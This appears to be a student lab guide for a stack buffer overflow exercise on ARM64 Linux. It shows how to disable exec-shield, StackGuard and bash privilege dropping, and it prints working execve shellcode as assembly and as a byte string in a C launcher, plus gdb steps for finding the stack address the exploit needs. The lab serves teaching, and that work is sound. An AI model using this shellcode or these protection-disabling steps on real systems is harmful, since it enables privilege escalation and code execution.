Buffer Overflow

To run:
docker-compose run buffer-overflow-arm

2.4 Exec-Shield Protection

Many early Linux distributions used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable.

To change that, you need to use the execstack option when compiling programs (i.e., "gcc -z execstack -o test test.c") in the future.

2

2.5 Bash Protection

To further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can "fool" a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In many Linux distribu- tions, /bin/sh is actually a symbolic link to /bin/bash.

Thus, we need to use another shell program (the zsh), instead of /bin/bash. To do so, type the following commands as root to link /bin/sh to /bin/zsh.

```
rm /bin/sh
ln -s /bin/zsh /bin/sh
```

2.6 GCC StackGuard Protection

The GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work.

You can disable this protection when you are compiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you need to use the following command: "gcc -fno-stack-protector example.c".

2.7 Shellcode

A shellcode is the code to launch a shell. It needs to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following shellcode program in the C language.

```
#include <stdio.h>
int main( )
{
  char *name[2];
  name[0] = ‘‘/bin/sh’’;
  name[1] = NULL;
  execve(name[0], name, NULL);
 }
```

The shellcode (listed below) is the assembly version of the above program. By executing the shell-code stored in a buffer, you can receive a shell. Source https://www.exploit-db.com/shellcodes/45290

```
.section .text
.global _start
_start:
    // execve("/bin/sh", NULL, NULL)
    mov  x1, #0x622F            // x1 = 0x000000000000622F ("b/")
    movk x1, #0x6E69, lsl #16   // x1 = 0x000000006E69622F ("nib/")
    movk x1, #0x732F, lsl #32   // x1 = 0x0000732F6E69622F ("s/nib/")
    movk x1, #0x68, lsl #48     // x1 = 0x0068732F6E69622F ("hs/nib/")
    str  x1, [sp, #-8]!         // push x1
    mov  x1, xzr                // args[1] = NULL
    mov  x2, xzr                // args[2] = NULL
    add  x0, sp, x1             // args[0] = pointer to "/bin/sh\0"
    mov  x8, #221                 // Systemcall Number = 221 (execve)
    svc  #0x1337                // Invoke Systemcall
```

Disassembly of section .text:

```
0000000000400078 <_start>:
  400078:     d28c45e1       mov      x1, #0x622f                     // #25135
  40007c:     f2adcd21       movk     x1, #0x6e69, lsl #16
  400080:     f2ce65e1       movk     x1, #0x732f, lsl #32
  400084:     f2e00d01       movk     x1, #0x68, lsl #48
  400088:     f81f8fe1       str      x1, [sp,#-8]!
  40008c:     aa1f03e1       mov      x1, xzr
  400090:     aa1f03e2       mov      x2, xzr
  400094:     8b2163e0       add      x0, sp, x1
  400098:     d2801ba8       mov      x8, #0xdd                       // #221
  40009c:     d40266e1       svc      #0x1337
```

```
    /* call_shellcode.c  */
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    const char code[] =
 "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";
int main(int argc, char **argv)
{
  char buf[sizeof(code)];
  strcpy(buf, code);
  ((void(*)( ))buf)( );

}
```

Locate the call shellcode.c file inside of the /home/student folder. Compile and run the following code, and see whether a shell is invoked. Use the following commands to compile the call shellcode.c program.

```
    # Become the student user
    su - student
    # Compile the call_shellcode.c program
  gcc -z execstack -fno-stack-protector -o call_shellcode call_shellcode.c
```

Do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.

Execute the compiled program, and answer the question below.

```
    echo  $SHELL
    ./call_shellcode
    echo  $SHELL
```

The rest is nearly the same
hexdump -v badfile can be used for seeing the hex of the bad file
As a reminder Arm64 is little endian, and all instructions are 32 bit.

The stack position should be entered manually.

There are 2 method

1. Use gdb
   gcc -g -z execstack -fno-stack-protector -o stack stack.c // compile for debugging
   gdb stack
   b bof //break point
   layout split // split layout
   layout next // until you get the layout that shows register values

run //start the program
next // to execute the next line
// when inside the method bof and after 29 and 30 is loaded to the stack note the value of the sp register
quit // to quit

2.

First get the assembly version of the program by this command

gcc -g -S -fverbose-asm -z execstack -fno-stack-protector -o stack.s stack.c

```
        .type   bof, %function
bof:
.LFB6:
        .cfi_startproc
        stp     x29, x30, [sp, -48]!    //,,,
        .cfi_def_cfa_offset 48
        .cfi_offset 29, -48
        .cfi_offset 30, -40
        mov     x29, sp //,
        str     x0, [sp, 24]    // str, str
// stack.c:14:     strcpy(buffer, str);
        add     x0, sp, 32      // tmp92,,
        ldr     x1, [sp, 24]    //, str
        bl      strcpy          //
// stack.c:16:     return 1;
        mov     w0, 1   // _4,
// stack.c:17: }
        ldp     x29, x30, [sp], 48      //,,,
        .cfi_restore 30
        .cfi_restore 29
        .cfi_def_cfa_offset 0
        ret
        .cfi_endproc
```

```
// options passed:  stack.c -mlittle-endian -mabi=lp64 -auxbase-strip stack
// -fverbose-asm
// options enabled:  -faggressive-loop-optimizations
// -fasynchronous-unwind-tables -fauto-inc-dec -fchkp-check-incomplete-type
// -fchkp-check-read -fchkp-check-write -fchkp-instrument-calls
// -fchkp-narrow-bounds -fchkp-optimize -fchkp-store-bounds
// -fchkp-use-static-bounds -fchkp-use-static-const-bounds
// -fchkp-use-wrappers -fcommon -fdelete-null-pointer-checks
// -fdwarf2-cfi-asm -fearly-inlining -feliminate-unused-debug-types
// -ffp-int-builtin-inexact -ffunction-cse -fgcse-lm -fgnu-runtime
// -fgnu-unique -fident -finline-atomics -fira-hoist-pressure
// -fira-share-save-slots -fira-share-spill-slots -fivopts
// -fkeep-static-consts -fleading-underscore -flifetime-dse
// -flto-odr-type-merging -fmath-errno -fmerge-debug-strings
// -fomit-frame-pointer -fpeephole -fplt -fprefetch-loop-arrays
// -freg-struct-return -fsched-critical-path-heuristic
// -fsched-dep-count-heuristic -fsched-group-heuristic -fsched-interblock
// -fsched-last-insn-heuristic -fsched-rank-heuristic -fsched-spec
// -fsched-spec-insn-heuristic -fsched-stalled-insns-dep -fschedule-fusion
// -fsemantic-interposition -fshow-column -fshrink-wrap-separate
// -fsigned-zeros -fsplit-ivs-in-unroller -fssa-backprop -fstdarg-opt
// -fstrict-volatile-bitfields -fsync-libcalls -ftrapping-math
// -ftree-cselim -ftree-forwprop -ftree-loop-if-convert -ftree-loop-im
// -ftree-loop-ivcanon -ftree-loop-optimize -ftree-parallelize-loops=
// -ftree-phiprop -ftree-reassoc -ftree-scev-cprop -funit-at-a-time
// -funwind-tables -fverbose-asm -fzero-initialized-in-bss
// -mfix-cortex-a53-835769 -mfix-cortex-a53-843419 -mglibc -mlittle-endian
// -momit-leaf-frame-pointer -mpc-relative-literal-loads

        .rodata
pr:     .string "%lu/n"
        align 2

        .text
        .align  2
        .global bof
        .type   bof, %function
bof:
.LFB6:
        .cfi_startproc
        stp     x29, x30, [sp, -48]!    //,,,
        .cfi_def_cfa_offset 48
        .cfi_offset 29, -48
        .cfi_offset 30, -40
        mov     x29, sp //,
        str     x0, [sp, 24]    // str, str
        mov     x0, =print
        mov     x1, sp
        bl printf
```

Insert these statements:
To beginning after all the long comments

```
        .data
pr:   .string "%lu\n"
        .align 2
```

Before the load statement of the scpy parameters

```
        ldr     x0, =pr
        mov     x1, sp
        bl printf
```

compile the modified assembly code
gcc -g -z execstack -fno-stack-protector -o stackprint stack.s
./stackprint // it should print the stack pointer value

Change the sp value in the exploit file.